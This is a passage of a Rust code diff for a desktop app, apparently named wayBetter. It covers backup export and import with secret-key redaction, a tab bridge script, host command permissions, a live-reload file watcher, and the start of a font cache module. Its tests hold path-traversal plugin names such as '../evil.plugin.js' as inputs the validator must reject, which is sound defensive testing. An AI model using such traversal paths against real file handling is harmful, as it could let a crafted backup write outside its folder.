pub const MAX_BACKUP_BYTES: usize = 32 * 1024 * 1024;
pub const MAX_PLUGIN_FILES: usize = 64;
/// Largest JSON settings file a backup reads.
pub const MAX_JSON_FILE: usize = 8 * 1024 * 1024;
/// Keys that never leave (or enter) the app through a backup, compared case-insensitively with
/// `_`/`-` removed.
const SECRET_KEYS: [&str; 22] = [
"cookie", "cookies", "setcookie", "token", "tokens", "accesstoken", "authtoken", "refreshtoken", "idtoken", "ct0", "password",
"passphrase", "secret", "clientsecret", "session", "sessionid", "authorization", "bearer", "csrf", "csrftoken", "privatekey",
"signingkey",
];
fn secret_key(key: &str) -> bool {
let folded: String = key.chars().filter(|ch| *ch != '_' && *ch != '-').flat_map(char::to_lowercase).collect();
SECRET_KEYS.contains(&folded.as_str()) || folded.ends_with("secret") || folded.ends_with("token") || folded.ends_with("password")
}
/// Removes secret-looking keys anywhere in `value`; returns their JSON paths.
pub fn strip_secrets(value: &mut Value) -> Vec<String> {
fn walk(value: &mut Value, path: &str, removed: &mut Vec<String>) {
match value {
Value::Object(map) => {
let keys: Vec<String> = map.keys().cloned().collect();
for key in keys {
if secret_key(&key) {
map.remove(&key);
removed.push(format!("{path}.{key}"));
} else if let Some(child) = map.get_mut(&key) {
walk(child, &format!("{path}.{key}"), removed);
}
}
}
Value::Array(items) => {
for (index, item) in items.iter_mut().enumerate() {
walk(item, &format!("{path}[{index}]"), removed);
}
}
_ => {}
}
}
let mut removed = Vec::new();
walk(value, "$", &mut removed);
removed
}
/// A JSON settings file, if it exists, parses and is at most [`MAX_JSON_FILE`].
pub fn read_json_file(path: &Path) -> Option<Value> {
let raw = fs::read(path).ok()?;
if raw.len() > MAX_JSON_FILE {
return None;
}
serde_json::from_slice(&raw).ok()
}
/// A JSON object settings file, or `default` when it is missing, damaged or not an object.
pub fn object_section(path: &Path, default: Value) -> Value {
read_json_file(path).filter(Value::is_object).unwrap_or(default)
}
/// A plugin file of the owner's: `file` + `source`.
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq, Eq)]
#[serde(deny_unknown_fields)]
pub struct PluginFile {
pub file: String,
pub source: String,
}
/// The `plugins` section (enabled states + the owner's own plugin files) and the `customCss`
/// section, read from the plugin store folder. `shipped` are the plugin files the app writes
/// itself (bundled + example): untouched copies of those are left out.
pub fn plugin_sections(plugins_dir: &Path, shipped: &[(&str, &str)]) -> (Value, Value) {
let enabled: Vec<String> = read_json_file(&plugins_dir.join("enabled.json"))
.and_then(|value| serde_json::from_value::<Vec<String>>(value).ok())
.unwrap_or_default()
.into_iter()
.filter(|file| valid_file_name(file))
.collect();
let mut files: Vec<PluginFile> = Vec::new();
if let Ok(entries) = fs::read_dir(plugins_dir) {
let mut names: Vec<String> = entries.flatten().filter_map(|entry| entry.file_name().to_str().map(str::to_owned)).collect();
names.sort();
for file in names {
if !valid_file_name(&file) || files.len() >= MAX_PLUGIN_FILES {
continue;
}
let path = plugins_dir.join(&file);
let Ok(meta) = fs::metadata(&path) else { continue };
if !meta.is_file() || meta.len() > MAX_PLUGIN_BYTES {
continue;
}
let Ok(source) = fs::read_to_string(&path) else { continue };
if shipped.iter().any(|(name, content)| *name == file && *content == source) {
continue;
}
files.push(PluginFile { file, source });
}
}
let css = fs::read_to_string(plugins_dir.join("custom.css")).unwrap_or_default();
(json!({ "enabled": enabled, "files": files }), json!({ "css": css }))
}
/// The `accounts` section from the profiles file: profile ids, names and colors only. The site
/// account a profile is signed in to is observed by the tabs (never imported), and its login is
/// the WebView profile folder, which a backup never reads.
pub fn accounts_section(profiles_file: &Path) -> Value {
let profiles = read_json_file(profiles_file).unwrap_or(Value::Null);
let list: Vec<Value> = profiles
.get("profiles")
.and_then(Value::as_array)
.map(|items| {
items
.iter()
.filter_map(|profile| {
Some(json!({
"id": profile.get("id")?.as_str()?,
"name": profile.get("name").and_then(Value::as_str).unwrap_or(""),
"color": profile.get("color").and_then(Value::as_str).unwrap_or(DEFAULT_COLOR),
}))
})
.collect()
})
.unwrap_or_default();
let active = profiles.get("active").and_then(Value::as_str).unwrap_or(DEFAULT_PROFILE);
json!({ "profiles": list, "active": active })
}
/// Finishes collected sections: secret-looking keys removed anywhere.
pub fn scrubbed(sections: Map<String, Value>) -> Map<String, Value> {
let mut value = Value::Object(sections);
strip_secrets(&mut value);
match value {
Value::Object(map) => map,
_ => Map::new(),
}
}
/// Checks the envelope of a backup file and returns its sections (only the app's `sections`,
/// secret-looking keys removed).
pub fn parse_backup(bytes: &[u8], sections: &[&str]) -> Result<Map<String, Value>, String> {
if bytes.len() > MAX_BACKUP_BYTES {
return Err("BACKUP: the file is larger than 32 MB".into());
}
let mut value: Value = serde_json::from_slice(bytes).map_err(|error| format!("BACKUP: not a wayBetter backup (line {}: {error})", error.line()))?;
if value.get("format").and_then(Value::as_str) != Some(FORMAT) {
return Err("BACKUP: not a wayBetter backup".into());
}
let version = value.get("version").and_then(Value::as_u64).unwrap_or(0);
if version == 0 || version > u64::from(VERSION) {
return Err(format!("BACKUP: made by a newer wayBetter (backup version {version}); update the app first"));
}
strip_secrets(&mut value);
let found = value.get_mut("sections").and_then(Value::as_object_mut).ok_or("BACKUP: the backup has no sections")?;
found.retain(|key, _| sections.contains(&key.as_str()));
Ok(std::mem::take(found))
}
/// The plugins section of an import: file names checked, sizes capped, at most [`MAX_PLUGIN_FILES`].
pub fn plugins_section(value: &Value) -> Result<(Vec<String>, Vec<PluginFile>), String> {
let enabled: Vec<String> = serde_json::from_value(value.get("enabled").cloned().unwrap_or(json!([]))).map_err(|_| "BACKUP: invalid plugin list")?;
let files: Vec<PluginFile> = serde_json::from_value(value.get("files").cloned().unwrap_or(json!([]))).map_err(|_| "BACKUP: invalid plugin files")?;
if files.len() > MAX_PLUGIN_FILES || enabled.len() > 256 {
return Err("BACKUP: too many plugins".into());
}
for name in enabled.iter().chain(files.iter().map(|file| &file.file)) {
if !valid_file_name(name) {
return Err("BACKUP: invalid plugin file name".into());
}
}
if files.iter().any(|file| file.source.len() as u64 > MAX_PLUGIN_BYTES) {
return Err("BACKUP: a plugin file is larger than 2 MiB".into());
}
Ok((enabled, files))
}
/// Writes a file next to its final name and renames it over (a running tab never reads half).
pub fn write_atomic(path: &Path, bytes: &[u8]) -> Result<(), String> {
let temp = path.with_extension("importing");
fs::write(&temp, bytes).map_err(|error| format!("BACKUP: {error}"))?;
fs::rename(&temp, path).map_err(|error| {
let _ = fs::remove_file(&temp);
format!("BACKUP: {error}")
})
}
#[cfg(test)]
mod tests {
use super::*;
const SECTIONS: [&str; 3] = ["plugins", "customCss", "settings"];
fn write(dir: &Path, name: &str, text: &str) {
let path = dir.join(name);
fs::create_dir_all(path.parent().unwrap()).unwrap();
fs::write(path, text).unwrap();
}
#[test]
fn secret_keys_are_stripped_anywhere() {
let mut value = json!({ "a": { "Auth-Token": "t", "list": [{ "password": "p", "keep": 1 }] }, "sessionId": "s", "ok": true });
let removed = strip_secrets(&mut value);
assert_eq!(value, json!({ "a": { "list": [{ "keep": 1 }] }, "ok": true }));
assert_eq!(removed.len(), 3);
for key in ["clientSecret", "api_token", "refresh-token", "Bearer", "ct0", "signingKey", "PASSPHRASE"] {
assert!(secret_key(key), "{key}");
}
assert!(!secret_key("tokenizer") && !secret_key("homeUrl"));
}
#[test]
fn plugins_css_and_accounts_sections() {
let root = tempfile::tempdir().unwrap();
let dir = root.path();
write(dir, "plugins/enabled.json", r#"["mine.plugin.js","../bad.plugin.js"]"#);
write(dir, "plugins/mine.plugin.js", "mine");
write(dir, "plugins/shipped.plugin.js", "as shipped");
write(dir, "plugins/notes.txt", "not a plugin");
write(dir, "plugins/custom.css", "a{}");
write(dir, "profiles.json", r##"{"profiles":[{"id":"default","name":"Main","account":{"handle":"h"}},{"id":"w","color":"#000000","authToken":"t"}]}"##);
let (plugins, css) = plugin_sections(&dir.join("plugins"), &[("shipped.plugin.js", "as shipped")]);
assert_eq!(plugins, json!({ "enabled": ["mine.plugin.js"], "files": [{ "file": "mine.plugin.js", "source": "mine" }] }));
assert_eq!(css, json!({ "css": "a{}" }));
assert_eq!(
accounts_section(&dir.join("profiles.json")),
json!({ "profiles": [{ "id": "default", "name": "Main", "color": DEFAULT_COLOR }, { "id": "w", "name": "", "color": "#000000" }], "active": "default" })
);
assert_eq!(object_section(&dir.join("missing.json"), json!({})), json!({}));
assert_eq!(object_section(&dir.join("plugins/enabled.json"), json!({ "d": 1 })), json!({ "d": 1 }), "not an object");
}
#[test]
fn envelope_keeps_only_the_apps_sections_and_no_secret() {
assert!(parse_backup(b"not json", &SECTIONS).unwrap_err().contains("line 1"));
assert!(parse_backup(br#"{"format":"other","version":1,"sections":{}}"#, &SECTIONS).is_err());
assert!(parse_backup(br#"{"format":"waybetter-backup","version":0,"sections":{}}"#, &SECTIONS).is_err());
assert!(parse_backup(br#"{"format":"waybetter-backup","version":99,"sections":{}}"#, &SECTIONS).unwrap_err().contains("newer"));
assert!(parse_backup(br#"{"format":"waybetter-backup","version":1}"#, &SECTIONS).unwrap_err().contains("no sections"));
assert!(parse_backup(&vec![b' '; MAX_BACKUP_BYTES + 1], &SECTIONS).unwrap_err().contains("32 MB"));
let file = json!({ "format": FORMAT, "version": VERSION, "sections": {
"settings": { "homeUrl": "https://example.com/", "token": "t" }, "other": {}
} });
let parsed = parse_backup(&serde_json::to_vec(&file).unwrap(), &SECTIONS).unwrap();
assert_eq!(Value::Object(parsed), json!({ "settings": { "homeUrl": "https://example.com/" } }));
let collected = scrubbed(json!({ "settings": { "password": "p", "a": 1 } }).as_object().unwrap().clone());
assert_eq!(Value::Object(collected), json!({ "settings": { "a": 1 } }));
}
#[test]
fn plugin_imports_are_checked() {
assert!(plugins_section(&json!({ "files": [{ "file": "../evil.plugin.js", "source": "" }] })).is_err());
assert!(plugins_section(&json!({ "enabled": ["C:\\x.plugin.js"] })).is_err());
assert!(plugins_section(&json!({ "files": [{ "file": "a.plugin.js", "source": "", "extra": 1 }] })).is_err());
let big = "a".repeat(MAX_PLUGIN_BYTES as usize + 1);
assert!(plugins_section(&json!({ "files": [{ "file": "a.plugin.js", "source": big }] })).is_err());
let many: Vec<Value> = (0..=MAX_PLUGIN_FILES).map(|n| json!({ "file": format!("p{n}.plugin.js"), "source": "" })).collect();
assert!(plugins_section(&json!({ "files": many })).is_err());
let (enabled, files) = plugins_section(&json!({ "enabled": ["a.plugin.js"], "files": [{ "file": "a.plugin.js", "source": "x" }] })).unwrap();
assert_eq!((enabled.len(), files.len()), (1, 1));
}
#[test]
fn atomic_write_replaces_the_file() {
let root = tempfile::tempdir().unwrap();
let path = root.path().join("settings.json");
fs::write(&path, "old").unwrap();
write_atomic(&path, b"new").unwrap();
assert_eq!(fs::read_to_string(&path).unwrap(), "new");
assert!(!root.path().join("settings.importing").exists());
}
}

View file

@ -0,0 +1,67 @@
//! The tab bridge: the script every tab webview gets as a main-frame initialization script
//! ([`script`]). It reports the tab's own URL, title, favicon and focus to the shell (`tab_report`)
//! and, when the app enables them, forwards browser shortcuts pressed in the page (`tab_shortcut`,
//! [`crate::tabs::valid_shortcut`]) and link drags (`tab_link_drag`, [`crate::tabs::link_drag`]).
//! The app's `tab-chrome` capability grants exactly the commands it calls, about the tab itself.
/// The bridge source (`tab-bridge.js` next to this crate's `Cargo.toml`), all features on.
pub const SOURCE: &str = include_str!("../tab-bridge.js");
const DEFAULT_OPTIONS: &str = "const options = { shortcuts: true, linkDrags: true };";
/// What the bridge forwards besides the tab report. Turn a feature off when the app's shell does
/// not handle it: a forwarded shortcut is taken from the page (`preventDefault`).
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub struct BridgeOptions {
/// Browser shortcuts (new/close/reopen tab, reload, back/forward, split, palette, deck keys).
pub shortcuts: bool,
/// Link drags out of (or into) the page, for the shell's split/tab drop zones.
pub link_drags: bool,
}
impl BridgeOptions {
pub const ALL: Self = Self { shortcuts: true, link_drags: true };
/// Only `tab_report` (URL, title, favicon, focus).
pub const REPORT_ONLY: Self = Self { shortcuts: false, link_drags: false };
}
/// The bridge script with `options`.
pub fn script(options: BridgeOptions) -> String {
let set = format!("const options = {{ shortcuts: {}, linkDrags: {} }};", options.shortcuts, options.link_drags);
SOURCE.replacen(DEFAULT_OPTIONS, &set, 1)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn options_are_set_in_the_one_options_line() {
assert_eq!(SOURCE.matches(DEFAULT_OPTIONS).count(), 1);
assert_eq!(script(BridgeOptions::ALL), SOURCE);
let report = script(BridgeOptions::REPORT_ONLY);
assert!(report.contains("const options = { shortcuts: false, linkDrags: false };"));
assert!(!report.contains(DEFAULT_OPTIONS));
assert!(report.contains("if (options.shortcuts) addEventListener('keydown'"));
assert!(report.contains("if (options.linkDrags) {"));
}
#[test]
fn bridge_calls_only_the_tab_chrome_commands() {
let mut commands: Vec<&str> = SOURCE.match_indices("invoke('").map(|(at, _)| SOURCE[at + 8..].split('\'').next().unwrap()).collect();
commands.sort();
commands.dedup();
assert_eq!(commands, ["tab_link_drag", "tab_report", "tab_shortcut"]);
assert!(SOURCE.contains("if (window.top !== window || window.__wbTabBridge) return;"), "top frame only, once");
}
#[test]
fn forwarded_shortcuts_are_ones_the_host_accepts() {
for name in ["deck-toggle", "deck-compose", "column-page-prev", "column-page-next", "column-prev", "column-next", "reopen-tab", "new-tab",
"open-panel", "close-tab", "focus-address", "command-palette", "prev-tab", "next-tab", "hard-reload", "reload", "split-down",
"split-right", "back", "forward"] {
assert!(SOURCE.contains(&format!("'{name}'")), "{name} is not in the bridge");
assert!(crate::tabs::valid_shortcut(name), "{name} would be refused");
}
assert!(crate::tabs::valid_shortcut("column-3"));
}
}

View file

@ -0,0 +1,75 @@
//! The Tauri commands [`crate::app::run_app`] registers for every app, and who may call them.
//!
//! An app's `build.rs` lists its own commands plus these in the app-command manifest
//! ([`manifest`]), and its capability files grant [`SHELL`] to the local `shell` webview only and
//! [`TAB`] to tab webviews only; [`crate::testkit`] checks both. Every command re-checks its caller
//! natively (`host::shell_only` / `host::tab_only`) before anything else.
/// Shell-only: the local `shell` webview (debug builds also accept the dev server).
pub const SHELL: &[&str] = &[
"tabs_sync",
"tab_navigate",
"tab_action",
"open_external_url",
"shell_focus",
"shell_ready",
"tab_still_ready",
"shell_raise",
"window_system_menu",
"profiles_get",
"profiles_set",
"i18n_get",
"i18n_set",
];
/// Tab-only: any tab webview, speaking only about itself.
pub const TAB: &[&str] = &["tab_shortcut", "tab_link_drag"];
/// Whether `command` is one of the host's (dispatched to the host, never to the app's handler).
pub fn is_host(command: &str) -> bool {
SHELL.contains(&command) || TAB.contains(&command)
}
/// The capability permission tauri-build generates for `command` (`tabs_sync` → `allow-tabs-sync`).
pub fn permission(command: &str) -> String {
format!("allow-{}", command.replace('_', "-"))
}
/// The app-command manifest for `build.rs`: the app's own commands followed by the host's (each
/// once). Leaked on purpose: tauri-build wants `&'static` and a build script runs once.
///
/// ```ignore
/// tauri_build::AppManifest::new().commands(waybetter_host::commands::manifest(&["draft_list"]))
/// ```
pub fn manifest(app: &[&'static str]) -> &'static [&'static str] {
let mut all: Vec<&'static str> = Vec::with_capacity(app.len() + SHELL.len() + TAB.len());
for command in app.iter().chain(SHELL).chain(TAB) {
if !all.contains(command) {
all.push(command);
}
}
Box::leak(all.into_boxed_slice())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn manifest_adds_the_host_commands_once() {
let all = manifest(&["draft_list", "tabs_sync"]);
assert_eq!(all[0], "draft_list");
assert_eq!(all.iter().filter(|c| **c == "tabs_sync").count(), 1);
for command in SHELL.iter().chain(TAB) {
assert!(all.contains(command), "{command}");
assert!(is_host(command));
}
assert!(!is_host("draft_list"));
assert_eq!(permission("tab_link_drag"), "allow-tab-link-drag");
}
#[test]
fn shell_and_tab_commands_do_not_overlap() {
assert!(!SHELL.iter().any(|command| TAB.contains(command)));
}
}

View file

@ -0,0 +1,307 @@
//! Live-reload developer mode (Settings → Developer, off by default): native code watches the
//! plugins folder (`*.plugin.js`), `custom.css` and one theme file the owner picked, and hot-reloads
//! what changed in every site tab. The app's commands for it are shell-only; site tabs gain no
//! command (they only receive the scripts native code already evaluates: plugin start/stop, custom
//! CSS, the theme preview).
//!
//! The watcher polls file signatures (length + modification time) a few times a second, which
//! works the same on every platform and for files on synced/network drives. A change is reported
//! once the file has been stable for [`DEBOUNCE`] (editors save in several writes), and changes are
//! applied in a fixed order: theme, then custom CSS, then plugins by file name, each plugin stopped
//! before its new version starts. Pure (signatures and instants in, changes out), tested headless.
use serde::{Deserialize, Serialize};
use std::collections::BTreeMap;
use std::fs;
use std::path::{Path, PathBuf};
use std::time::{Duration, Instant, SystemTime};
pub const FILE: &str = "developer.json";
/// A file must keep the same signature this long before it counts as changed.
pub const DEBOUNCE: Duration = Duration::from_millis(250);
/// How often the watcher looks.
pub const POLL: Duration = Duration::from_millis(200);
/// Largest theme file read (a background image is a data: URL inside it).
pub const MAX_THEME_FILE: u64 = 1_200_000;
/// Shell event for everything developer mode does (`DevEvent`).
pub const EVENT: &str = "dev-event";
/// `sourceURL` prefix of reloaded plugins (stack traces show `wb-dev/<file>:<line>`).
pub const SOURCE_PREFIX: &str = "wb-dev/";
#[derive(Clone, Debug, Default, Serialize, Deserialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase", default)]
pub struct DevSettings {
pub enabled: bool,
/// Absolute path of the theme JSON file to live-apply (picked in the native dialog), if any.
pub theme_file: Option<String>,
}
impl DevSettings {
pub fn validated(self) -> Result<Self, String> {
if let Some(path) = &self.theme_file {
let path = Path::new(path);
if !path.is_absolute() || path.extension().and_then(|ext| ext.to_str()).map(str::to_ascii_lowercase).as_deref() != Some("json") {
return Err("VALIDATION: the theme file must be an absolute path to a .json file".into());
}
}
Ok(self)
}
}
#[derive(Clone, Debug, PartialEq, Eq, PartialOrd, Ord)]
pub enum Target {
Theme,
Css,
Plugin(String),
}
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub struct Signature {
pub len: u64,
pub modified: Option<SystemTime>,
}
#[derive(Clone, Debug, PartialEq, Eq)]
pub enum Change {
Changed(Target),
Removed(Target),
}
impl Change {
pub fn target(&self) -> &Target {
match self {
Change::Changed(target) | Change::Removed(target) => target,
}
}
}
fn signature(path: &Path) -> Option<Signature> {
let meta = fs::metadata(path).ok()?;
meta.is_file().then(|| Signature { len: meta.len(), modified: meta.modified().ok() })
}
/// What the watcher looks at now: every valid `*.plugin.js`, `custom.css` and the theme file.
pub fn scan(plugins_dir: &Path, theme_file: Option<&Path>) -> BTreeMap<Target, Signature> {
let mut out = BTreeMap::new();
if let Ok(entries) = fs::read_dir(plugins_dir) {
for entry in entries.flatten() {
let Some(name) = entry.file_name().to_str().map(str::to_owned) else { continue };
if crate::plugins::valid_file_name(&name) {
if let Some(sig) = signature(&entry.path()) {
out.insert(Target::Plugin(name), sig);
}
}
}
}
if let Some(sig) = signature(&plugins_dir.join("custom.css")) {
out.insert(Target::Css, sig);
}
if let Some(sig) = theme_file.and_then(signature) {
out.insert(Target::Theme, sig);
}
out
}
/// The debounced change detector. The first scan is the baseline (nothing is "changed" at start).
#[derive(Default)]
pub struct Watcher {
known: Option<BTreeMap<Target, Signature>>,
/// Target → (signature seen, since when), for changes not yet stable.
pending: BTreeMap<Target, (Option<Signature>, Instant)>,
}
impl Watcher {
pub fn new() -> Self {
Self::default()
}
/// Feeds one scan; returns the changes that became stable, in reload order.
pub fn observe(&mut self, now: Instant, scan: BTreeMap<Target, Signature>) -> Vec<Change> {
let Some(known) = self.known.as_mut() else {
self.known = Some(scan);
return Vec::new();
};
let mut targets: Vec<Target> = known.keys().cloned().collect();
for target in scan.keys() {
if !known.contains_key(target) {
targets.push(target.clone());
}
}
for target in targets {
let current = scan.get(&target).copied();
if current == known.get(&target).copied() {
self.pending.remove(&target);
continue;
}
match self.pending.get(&target) {
Some((seen, _)) if *seen == current => {}
_ => {
self.pending.insert(target, (current, now));
}
}
}
let mut ready = Vec::new();
let stable: Vec<Target> = self
.pending
.iter()
.filter(|(_, (_, since))| now.duration_since(*since) >= DEBOUNCE)
.map(|(target, _)| target.clone())
.collect();
for target in stable {
let Some((current, _)) = self.pending.remove(&target) else { continue };
match current {
Some(sig) => {
known.insert(target.clone(), sig);
ready.push(Change::Changed(target));
}
None => {
known.remove(&target);
ready.push(Change::Removed(target));
}
}
}
reload_order(ready)
}
/// Forgets the baseline (the next scan becomes it), e.g. after the theme file changed.
pub fn reset(&mut self) {
self.known = None;
self.pending.clear();
}
}
/// Theme first (so plugins read the new `--wb-*` values), then custom CSS, then plugins by name.
pub fn reload_order(mut changes: Vec<Change>) -> Vec<Change> {
changes.sort_by(|a, b| a.target().cmp(b.target()));
changes
}
/// A JSON error position, 1-based, for the error overlay.
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
#[serde(rename_all = "camelCase")]
pub struct DevError {
pub file: String,
pub line: Option<usize>,
pub column: Option<usize>,
pub message: String,
}
/// Reads and checks the watched theme file: at most [`MAX_THEME_FILE`], UTF-8 (a BOM is fine), one
/// JSON object, `$schema` dropped. `build` turns that document into the app's theme preview state
/// and validates it; its error (without a `VALIDATION: ` prefix) is shown in the error overlay.
pub fn load_theme_file<T>(
path: &Path,
build: impl FnOnce(serde_json::Map<String, serde_json::Value>) -> Result<T, String>,
) -> Result<T, DevError> {
let file = path.file_name().and_then(|name| name.to_str()).unwrap_or("theme.json").to_owned();
let fail = |line: Option<usize>, column: Option<usize>, message: String| DevError { file: file.clone(), line, column, message };
let meta = fs::metadata(path).map_err(|_| fail(None, None, "The theme file is missing.".into()))?;
if meta.len() > MAX_THEME_FILE {
return Err(fail(None, None, "The theme file is larger than 1.2 MB.".into()));
}
let raw = fs::read_to_string(path).map_err(|_| fail(None, None, "The theme file is not UTF-8 text.".into()))?;
let doc: serde_json::Value = serde_json::from_str(raw.trim_start_matches('\u{feff}')).map_err(|error| {
let message = error.to_string();
let message = message.split(" at line ").next().unwrap_or(&message).to_owned();
fail(Some(error.line()), Some(error.column()), message)
})?;
let serde_json::Value::Object(mut object) = doc else {
return Err(fail(Some(1), Some(1), "A theme file is one JSON object.".into()));
};
object.remove("$schema");
build(object).map_err(|error| fail(None, None, error.trim_start_matches("VALIDATION: ").to_owned()))
}
pub fn plugins_dir_of(app_data: &Path) -> PathBuf {
app_data.join("plugins")
}
#[cfg(test)]
mod tests {
use super::*;
fn sig(len: u64, secs: u64) -> Signature {
Signature { len, modified: Some(SystemTime::UNIX_EPOCH + Duration::from_secs(secs)) }
}
fn scan_of(items: &[(Target, Signature)]) -> BTreeMap<Target, Signature> {
items.iter().cloned().collect()
}
#[test]
fn debounce_waits_for_a_stable_file_and_reports_once() {
let start = Instant::now();
let at = |ms: u64| start + Duration::from_millis(ms);
let plugin = Target::Plugin("a.plugin.js".into());
let mut watcher = Watcher::new();
assert!(watcher.observe(at(0), scan_of(&[(plugin.clone(), sig(10, 1))])).is_empty(), "baseline");
// An editor writes in steps: 0 bytes, then partial, then the whole file.
assert!(watcher.observe(at(100), scan_of(&[(plugin.clone(), sig(0, 2))])).is_empty());
assert!(watcher.observe(at(200), scan_of(&[(plugin.clone(), sig(5, 2))])).is_empty());
assert!(watcher.observe(at(300), scan_of(&[(plugin.clone(), sig(12, 3))])).is_empty());
assert!(watcher.observe(at(500), scan_of(&[(plugin.clone(), sig(12, 3))])).is_empty(), "stable for 200 ms only");
assert_eq!(watcher.observe(at(560), scan_of(&[(plugin.clone(), sig(12, 3))])), vec![Change::Changed(plugin.clone())]);
assert!(watcher.observe(at(900), scan_of(&[(plugin.clone(), sig(12, 3))])).is_empty(), "reported once");
// Changed and changed back before it settled: nothing to reload.
assert!(watcher.observe(at(1000), scan_of(&[(plugin.clone(), sig(13, 4))])).is_empty());
assert!(watcher.observe(at(1100), scan_of(&[(plugin.clone(), sig(12, 3))])).is_empty());
assert!(watcher.observe(at(2000), scan_of(&[(plugin.clone(), sig(12, 3))])).is_empty());
// Deleted.
assert!(watcher.observe(at(3000), BTreeMap::new()).is_empty());
assert_eq!(watcher.observe(at(3300), BTreeMap::new()), vec![Change::Removed(plugin)]);
}
#[test]
fn reload_order_is_theme_css_then_plugins_by_name() {
let start = Instant::now();
let mut watcher = Watcher::new();
let (b, a) = (Target::Plugin("b.plugin.js".into()), Target::Plugin("a.plugin.js".into()));
watcher.observe(start, scan_of(&[(b.clone(), sig(1, 1)), (a.clone(), sig(1, 1)), (Target::Css, sig(1, 1)), (Target::Theme, sig(1, 1))]));
let changed = scan_of(&[(b.clone(), sig(2, 2)), (a.clone(), sig(2, 2)), (Target::Css, sig(2, 2)), (Target::Theme, sig(2, 2))]);
watcher.observe(start + Duration::from_millis(10), changed.clone());
let ready = watcher.observe(start + Duration::from_millis(300), changed);
assert_eq!(ready, vec![Change::Changed(Target::Theme), Change::Changed(Target::Css), Change::Changed(a), Change::Changed(b)]);
}
#[test]
fn scan_sees_plugins_css_and_the_theme_file_only() {
let root = tempfile::tempdir().unwrap();
let plugins = root.path().join("plugins");
fs::create_dir_all(&plugins).unwrap();
fs::write(plugins.join("a.plugin.js"), "x").unwrap();
fs::write(plugins.join("notes.txt"), "x").unwrap();
fs::write(plugins.join("enabled.json"), "[]").unwrap();
fs::write(plugins.join("custom.css"), "a{}").unwrap();
let theme = root.path().join("mine.json");
fs::write(&theme, "{}").unwrap();
let found: Vec<Target> = scan(&plugins, Some(&theme)).into_keys().collect();
assert_eq!(found, vec![Target::Theme, Target::Css, Target::Plugin("a.plugin.js".into())]);
}
#[test]
fn theme_file_errors_carry_line_and_column() {
let root = tempfile::tempdir().unwrap();
let path = root.path().join("mine.json");
let id = |object: serde_json::Map<String, serde_json::Value>| -> Result<serde_json::Map<String, serde_json::Value>, String> {
match object.get("id").and_then(serde_json::Value::as_str) {
Some(id) if !id.contains(' ') => Ok(object),
_ => Err("VALIDATION: theme ids are slugs".into()),
}
};
fs::write(&path, "{\n \"id\": \"mine\",\n \"name\": \"Mine\"\n \"colors\": {}\n}").unwrap();
let error = load_theme_file(&path, id).unwrap_err();
assert_eq!((error.file.as_str(), error.line), ("mine.json", Some(4)));
assert!(error.column.is_some() && error.message.contains("expected"), "{error:?}");
fs::write(&path, "\u{feff}{ \"$schema\": \"https://unpkg.com/waybetter/theme.schema.json\", \"id\": \"nord\" }").unwrap();
let doc = load_theme_file(&path, id).unwrap();
assert!(doc.get("$schema").is_none() && doc["id"] == "nord");
fs::write(&path, r#"{ "id": "Bad Id", "name": "x" }"#).unwrap();
assert_eq!(load_theme_file(&path, id).unwrap_err().message, "theme ids are slugs");
fs::write(&path, "[1]").unwrap();
assert_eq!(load_theme_file(&path, id).unwrap_err().message, "A theme file is one JSON object.");
fs::write(&path, vec![b' '; MAX_THEME_FILE as usize + 1]).unwrap();
assert!(load_theme_file(&path, id).unwrap_err().message.contains("larger"));
assert!(load_theme_file(&root.path().join("gone.json"), id).unwrap_err().message.contains("missing"));
assert!(DevSettings { enabled: true, theme_file: Some("relative.json".into()) }.validated().is_err());
}
}

View file

@ -0,0 +1,308 @@
//! Google Fonts downloads and the font cache (`net` feature): fetches woff2 files from
//! `fonts.googleapis.com`/`fonts.gstatic.com` only (allowlist re-checked before every request, no
//! redirects or cookies, size caps, woff2 magic), caches them under the app-data `fonts/` folder
//! with a sha256 manifest ([`crate::gfonts`]), and builds the page script from cached bytes, never
//! a remote font URL. The app wraps these in its own shell-only commands and, after an install or
//! removal, re-sends fonts to its site tabs.
use crate::gfonts::{self, Face, Weights};
use crate::site::SiteSpec;
use base64::Engine;
use serde::Serialize;
use std::collections::HashMap;
use std::path::{Path, PathBuf};
use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::{Mutex, OnceLock};
use std::time::Duration;
use url::Url;
static ROOT: OnceLock<PathBuf> = OnceLock::new();
/// Sets the font cache folder: `<app data>/fonts` (created). Call once at startup.
pub fn init(app_data: &Path) {
let root = app_data.join(gfonts::FONTS_DIR);
let _ = std::fs::create_dir_all(&root);
let _ = ROOT.set(root);
}
pub fn root() -> Option<&'static Path> {
ROOT.get().map(PathBuf::as_path)
}
fn root_or_err() -> Result<&'static Path, String> {
root().ok_or_else(|| "STORAGE: no application data directory".into())
}
/// Installed-family faces (`faces_json`), keyed by family; lazily filled, invalidated on install/remove.
static FACES: Mutex<Option<HashMap<String, serde_json::Value>>> = Mutex::new(None);
/// Text-subset preview cache, keyed by `"<family>|<weights>|<text>"`, capped at 400 entries.
static PREVIEWS: Mutex<Option<HashMap<String, Vec<serde_json::Value>>>> = Mutex::new(None);
/// At most 6 preview fetches in flight (no `tokio::sync::Semaphore`: only the `time` feature is enabled).
static PREVIEW_INFLIGHT: AtomicUsize = AtomicUsize::new(0);
const MAX_PREVIEW_INFLIGHT: usize = 6;
const MAX_PREVIEW_CACHE: usize = 400;
fn invalidate_caches() {
*FACES.lock().unwrap_or_else(|e| e.into_inner()) = None;
*PREVIEWS.lock().unwrap_or_else(|e| e.into_inner()) = None;
}
fn faces_for(family: &str) -> Option<serde_json::Value> {
let mut guard = FACES.lock().unwrap_or_else(|e| e.into_inner());
let cache = guard.get_or_insert_with(HashMap::new);
if let Some(value) = cache.get(family) {
return Some(value.clone());
}
drop(guard);
let root = root()?;
let manifest = gfonts::read_manifest(root, family)?;
let dir = gfonts::family_dir(root, family)?;
let bytes = gfonts::verify_cached(&dir, &manifest).ok()?;
let value = gfonts::faces_json(&manifest, &bytes);
let mut guard = FACES.lock().unwrap_or_else(|e| e.into_inner());
guard.get_or_insert_with(HashMap::new).insert(family.to_string(), value.clone());
Some(value)
}
/// Builds the page script for up to 8 distinct, installed, valid families. Missing families are
/// skipped silently (e.g. removed since the page last asked).
